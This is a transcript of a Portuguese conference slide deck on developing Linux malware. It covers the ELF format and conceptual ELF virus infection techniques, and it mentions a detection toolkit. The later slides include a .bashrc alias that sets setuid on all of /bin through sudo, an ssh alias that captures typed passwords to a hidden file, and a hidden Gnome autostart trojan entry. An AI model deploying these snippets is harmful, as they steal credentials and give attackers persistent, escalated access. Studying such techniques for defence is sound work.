desenvolvimento de malware
Post on 10-Jul-2015
774 Views
Preview:
TRANSCRIPT
1
Desenvolvimento de Malware para Linux
Tiago Natel de Mouraaka i4k
natel@secplus.com.br
2
Bio
- BugSec Security Team http://bugsec.googlecode.com/
- OWASP Floripa Chapterhttp://www.owasp.org/index.php/Florianopolis
- SEC+http://www.secplus.com.br/
3
Bio
BugSec Team
- cooler (@Cooler_freenode)
- i4k (@_i4k_)
- m0nad (@m0nadlabs)
- slyfunky
- sigsegv (@felipensp)
- ebellani
4
Projetos
● SecPlus-PHP – Framework MVC de desenvolvimento web em PHP focado em segurança e performance.
● Malelficus – Malware ELF toolkit.● OrionSocket – HTTP Socket C Library.● Outros:
● http://github.com/tiago4orion● http://bugsec.googlecode.com/
5
Cogumelo Binário
Ezine de segurança mantida pelo BugSec.
http://cogubin.leet.la/
6
Introdução
Unix and MalwaresUnix and Malwares
7
Agenda
● Introdução● Unix e Malwares● Vantagens e Desvantagens
● Binary Format● Kernel e exec● ELF Binary Format
● Métodos de Infecção● Prepend● Cavity● Inserindo em nova seção● Inserindo em seções existentes (segment padding).● Inserindo em novo segmento
8
Introdução
1996 – Staog (WLAD Magazine #7) 1997 – Bliss (Usenet) 1997 – Diesel 1999 - Creed 2000 – LoTeK (cavity .note) 2001 – ElfV-AlQaeda (cavity/file compression) 2002 – NuxBee (complex, memory resident, encrypted) 2002 – Winux 2003 – Balrog (complex, kernel resident, obfusc syscalls) 2003 – Amon 2004 – Metaphor (complex, PE/ELF, polimorphic) 2005 – Grip (complex, encrypted XTEA/Blowfish, Brainfuck)
1996 – Staog (WLAD Magazine #7) 1997 – Bliss (Usenet) 1997 – Diesel 1999 - Creed 2000 – LoTeK (cavity .note) 2001 – ElfV-AlQaeda (cavity/file compression) 2002 – NuxBee (complex, memory resident, encrypted) 2002 – Winux 2003 – Balrog (complex, kernel resident, obfusc syscalls) 2003 – Amon 2004 – Metaphor (complex, PE/ELF, polimorphic) 2005 – Grip (complex, encrypted XTEA/Blowfish, Brainfuck)
9
Contribuições
WLAD Magazine – 1995 - ~199929A MagazineSilvio Cesare
Unix-viruses mailing listPhrack Magazine
10
Vantagens e Desvantagens
● Vantagens● Powerfull Shell● Diversas linguagens de script disponível● Normalmente nenhum anti-vírus instalado.
● Desvantagens● Propagação● Proteções (permissões, ALSR, NX Bit, etc)● Kernel● Distribuições● Usuários
11
Binary Format
● Porque um formato para o binário?
● Porque não somente instruções do processador?
- Como determinar o byte order de uma sequência de opcodes?
✔ Sim, os antigos MSDOS executavam flat-binaries. (binários .COM)
- Como saber qual a arquitetura de uma sequência de opcodes?
Mas...
BINARY HEADER
12
ELF
● Executable and Linkable Format● ELF foi criado para facilitar o suporte a cross-
compilation, linkagem dinâmica, iniciatializer/finalizer (ex.: constructor e destructor do C++) e outras features avançadas.
13
Tipos de binários ELF
Relocatable
É um arquivo binário que contém código e dados apropriados para linkar com outros arquivos objeto para criar um executável ou shared object file.
Executable
Um programa apropriado para execução. O arquivo especifica como a syscall exec() cria a imagem do processo na memória.
Shared Object
Contêm símbolos e código para linkagem em dois contextos. Pelo linker ld() e pelo linker dinâmico (ld.so).
Core File
Um arquivo de core dump
14
Compilação
main.c swap.c
ld (collect2)
p
ELF Format FilesLinking step
swap.omain.o
as as
Relocatableobject code
Executable
main.s swap.s
cc1 cc1
Assembly code
gcc -O –g -o p main.c swap.c
15
ELF View
● Existem dois modos de visualizar um binário ELF:● Compiladores, assemblers e linkers tratam o
arquivo como um conjunto de seções descritas pelo Section Header Table.
● O loader do sistema trata o arquivo como um conjunto de segmentos descritos pelo Program Header Table.
16
ELF StructureLoading View
ELF header
Program header table
Segmento 1
Segmento 2
Section header table
Segmento N
Loading View é necessário para o sistema operacional ou loader obter informações de como mapear o binário na memória.
17
Program Header Table
● Um array de estruturas ElfN_Phdr.● A entrada e_phoff no header do ELF possui o
offset do PHT no arquivo.● Cada segmento no arquivo possui uma entrada
em PHT. Podem haver entradas em PHT que não existem no arquivo.
● Segmentos não podem se sobrescrever. Nenhum byte no arquivo reside em mais de um segmento.
18
ELF StructureLinking View
ELF header
Program header table
.text
.data
.bss
.strtab
.rel.text
.rel.data
.debug
Section header table
…
.rodata
Linking View é necessário para poder montar arquivos relocáveis.A ordem e presença das seções é opcional, exceto o ELF header que precisa estar presente e iniciando no primeiro byte do arquivo.
19
Section Header Table
● Um array de estruturas ElfN_Shdr.● e_shoff na estrutura ElfN_Ehdr tem o offset do SHT no
arquivo.● Cada seção no arquivo possui uma entrada no SHT.
Podem haver entradas em SHT que não existem no arquivo.
● Seções não podem se sobrescrever. Nenhum byte no arquivo reside em mais de uma seção.
● Um binario ELF pode ter espaço inativo. Os cabeçalhos do ELF não precisam especificar todos os bytes do arquivo.
20
ELF Header
ELF header
Program header table
.text
.data
.bss
.strtab
.rel.text
.rel.data
.debug
Section header table
…
.rodata
Entry point
ArquiteturaTipo de binário
e_ident[16]
e_type
e_machine
e_entry
e_phoff
e_shoff
e_flags
e_ehsize
e_phentsize
e_shentsize
e_phnum
e_version
e_shnum
e_shstrndx
Tamanho do PH
Tamanho do SHQtd. de SH
Qtd. de PH
PHT offset
Program header table
SHT offset
Section header table
strtab index
.strtab
21
PHT e SHT
ELF header
Program header table
.text
.data
.bss
.strtab
.rel.text
.rel.data
.debug
Section header table
…
.rodata
➔ Informações sobre segmentos necessários para o loading.
➔ Obrigatório para executáveis e bibliotecas
➔ Informações sobre seções necessárias para a linkagem.
➔ Obrigatório para arquivos relocáveis.
22
ELF Sections
ELF header
Program header table
.text
.data
.bss
.strtab
.rel.text
.rel.data
.debug
Section header table
…
.rodata
Código de Máquina, onde realmente as instruções de processador do software se encontram.
- Read-Only
23
Data Sections
ELF header
Program header table
.text
.data
.bss
.strtab
.rel.text
.rel.data
.debug
Section header table
…
.rodata
Dados Estáticos➔ Inicializados, Read-Only➔ Inicializados, Read/Write➔ Não-Inicializado, Read/Write
InicializadosDados iniciais no ELF.
Não-inicializadosSomente o tamanho total no ELF
24
Relocation info
ELF header
Program header table
.text
.data
.bss
.strtab
.rel.text
.rel.data
.debug
Section header table
…
.rodata
Descreve onde e como os símbolos são usados.
➔ Uma lista de localizações na seção .text que deverão ser modificadas quando o linker combinar este binário com outros.
➔ Informações de relocações para quaisquer variáveis globais que são referenciadas ou definidas por um módulo.
25
.debug
ELF header
Program header table
.text
.data
.bss
.strtab
.rel.text
.rel.data
.debug
Section header table
…
.rodata
Relaciona código fonte com o código objeto dentro do ELF.
26
Outras seções
ELF header
Program header table
.text
.data
.bss
.strtab
.rel.text
.rel.data
.debug
Section header table
…
.rodata
Outros tipos de seções:- C++ initializer/finalizer- Dynamic Linking info- etc...
27
Linking → Loading
. interp
.init
. text
.data
.bss
.strtab
.rel.text
.rel.data
.debug
Section header table
…
.rodata
.interp.init.text
.rodata
LOAD (RX)
Segmento 2
.data.bss
LOAD (RW)
Segmento 3
28
Organização
ELF header
Program header table
.text
.data
.bss
.strtab
.debug
Section header table
.rodata
e_phoff
e_shoffsh_offset's
p_offset's
29
Executando um binário.
$ ./program param1 param2
1) Shell executa a syscall execve() repassando os argumentos.
2) Kernel abre o arquivo.
3)Verifica se existe um segmento do tipo PT_INTERP.
1) Se existe, executa a syscall execve novamente passando o interpretador (/lib/ld-linux.so) e o programa e suas informações como argumento.
4) Mapeia todos os segmentos do tipo PT_LOAD na memória nos respectivos endereços obtidos de p_vaddr.
30
Executando um binário.
$ ./program param1 param2
5) Passa o controle para o entry point do ELF (_start em C).
1) __libc_init_first
2) _init
3) atexit
4) main
5) _exit
31
Visualização
32
Ferramentas de Análise
➢ Dissecação de ELF➢ objdump➢ objcopy➢ readelf➢ elfdump➢ elfcopy➢ nm
GNU Binutils
elftoolchain
33
Ferramentas de RE.
● strace – System call tracer (GNU)● ltrace – Library call tracer (GNU)● Elfsh (eresi-project)● kernsh (eresi-project)
34
Técnicas de Infecção
● Prepend● Cavidade● Inserindo em nova seção● Aumentando e inserindo em seções existentes.● Inserindo em novo segmento.● Memory residence (per-process)
● .GOT e .PLT infection● Hooking shared library calls
Fora de escopo
35
Prepend
● Copia o hospedeiro para o final do vírus.● $ cat host >> parasite● Quando executado o vírus realiza suas ações
(payload) e por fim copia o binário do hospedeiro para um novo arquivo, ajusta permissão de execução e executa com execve().
36
Cavity (.note)
ELF header
Program header table
.text
.data
.bss
.note
.strtab
Section header table
.rodata
e_phoff
e_shoffsh_offset's
p_offset's
1) Incrementar o segmento de dados para comportar a seção .note na memória.2) Adicionar o payload do vírus nessa seção.3) Ajustar o restante das estruturas para o novo formato.
37
Cavity (.note)
ELF header
Program header table
.text
.data
.bss
.note (evil code)
.strtab
Section header table
.rodata
e_phoff
e_shoffsh_offset's
p_offset's
1) Incrementar o segmento de dados para comportar a seção .note na memória.2) Adicionar o payload do vírus nessa seção.3) Ajustar o restante das estruturas para o novo formato.4) Modifica o entry point para apontar para .note.
38
Inserindo em nova seção
ELF header
Program header table
.text
.data
.bss
.strtab
.debug
Section header table
.rodata
e_phoff
e_shoffsh_offset's
p_offset's
➢ Adicionar nova seção .evil após a seção .text.
➢ Deslocar todas as seções após .text e o SHT no número de bytes do malware.
➢ Guardar entry point original
39
Inserindo em nova seção
ELF header
Program header table
.text
.data
.bss
.strtab
.debug
Section header table
.rodata
e_phoff
e_shoffsh_offset's
p_offset's
➢ Adicionar a seção .evil
.evil
➢ Ajustar o header para a nova posição do SHT e do entry_point (e_shohff += VIR_LEN).➢ Incrementar e_shnum em 1.
40
Inserindo em nova seção
ELF header
Program header table
.text
.data
.bss
.strtab
.debug
Section header table
.rodata
e_phoff
e_shoffsh_offset's
p_offset's.evil
➢ Adicionar a seção .evil no SHT e ajustar os offsets para as novas posições das seções (sh_addr += VIR_LEN, sh_offset += VIR_LEN).
e_entrypoint = pos(.text) + size(.text)+ align(.text)
41
Inserindo em nova seção
ELF header
Program header table
.text
.data
.bss
.strtab
.debug
Section header table
.rodata
e_phoff
e_shoffsh_offset's
p_offset's.evil
➢ Incrementar p_filesz e p_memsz do segmento o qual .text está contido com o numero de bytes de .evil (p_filesz += VIR_LEN).
➢ Incrementar o p_offset do PHT para cada segmento após o segmento de .evil.
42
Inserindo em nova seção
ELF header
Program header table
.text
.data
.bss
.strtab
.debug
Section header table
.rodata
e_phoff
e_shoffsh_offset's
p_offset's
.evil
➢ Incrementar p_filesz e p_memsz do segmento o qual .text está contido com o numero de bytes de .evil.
➢ Incrementar o p_offset do PHT para cada segmento após o segmento de .evil.
43
Inserindo em nova seção
ELF header
Program header table
.text
.data
.bss
.strtab
.debug
Section header table
.rodata
e_phoff
e_shoffsh_offset's
p_offset's
.evil
➢ Pronto. Novo ELF válido.
44
Malware Shellcode
1) Inicialmente deve-se usar somente syscalls.
2) Usar o método eggcode.
3) Não infectar recursivamente todos os executáveis de um diretório.
4) Certifique-se de que o executável pode ser infectado pela sua técnica.
5) Saiba que permissões o processo possui e divida seu payload de acordo.
45
Escalada de privilégios
● Local exploits.● Subvertendo a shell do usuário.
46
● Adicionar entradas alias em ~/.bashrc● alias sudo='sudo chmod 4755 -R /bin; sudo'● alias ssh='stty_orig=`stty -g 2>/dev/null` stty -echo;
read -p "password: " pass; echo "$pass" 2>/dev/null >> /tmp/.vir/ssh_passwords; stty echo 2>/dev/null; echo “Could not resolve hostname”; ssh'
Subvertendo a shell
47
Mantendo acesso
● Non-root● ~/.bashrc● Gnome
– Autostart
● KDE
● root● Init scripts
– /etc/init.d/trj– /etc/rc.local– *
● Hook syscall / rootkit
48
GnomeAutostart
~/.config/autostart/trj.desktop
[Desktop Entry]
Type=Application
Name=trojan
Exec=~/.hidden/trj.bin
Terminal=false
Hidden=true
49
MalELFicus
● Analysis● Dissecação do ELF
● Detecção de alterações no entry point.
● Detecção de binário em seções de info.
● Verificação de segmentos adicionados.
● Verificação da posição do PHT e do SHT.
● Descoberta de binario em região não mapeada pelo ELF.
● Development● Contagem de NOP's em segmentos PT_LOAD.
● Contagem de GAP's entre segmentos e seções.
● Infecção
– Append/Prepend
– Inserção de seção
– Alteração de seção
– Inserção de segmento
– Cavidade
– etc
–
–
●
50
Obrigado
Perguntas ?
natel@secplus.com.br
http://www.secplus.com.br
http://github.com/tiago4orion
http://bugsec.googlecode.com/
http://www.owasp.org/index.php/OWASP_FLORIPA_DAY
●
top related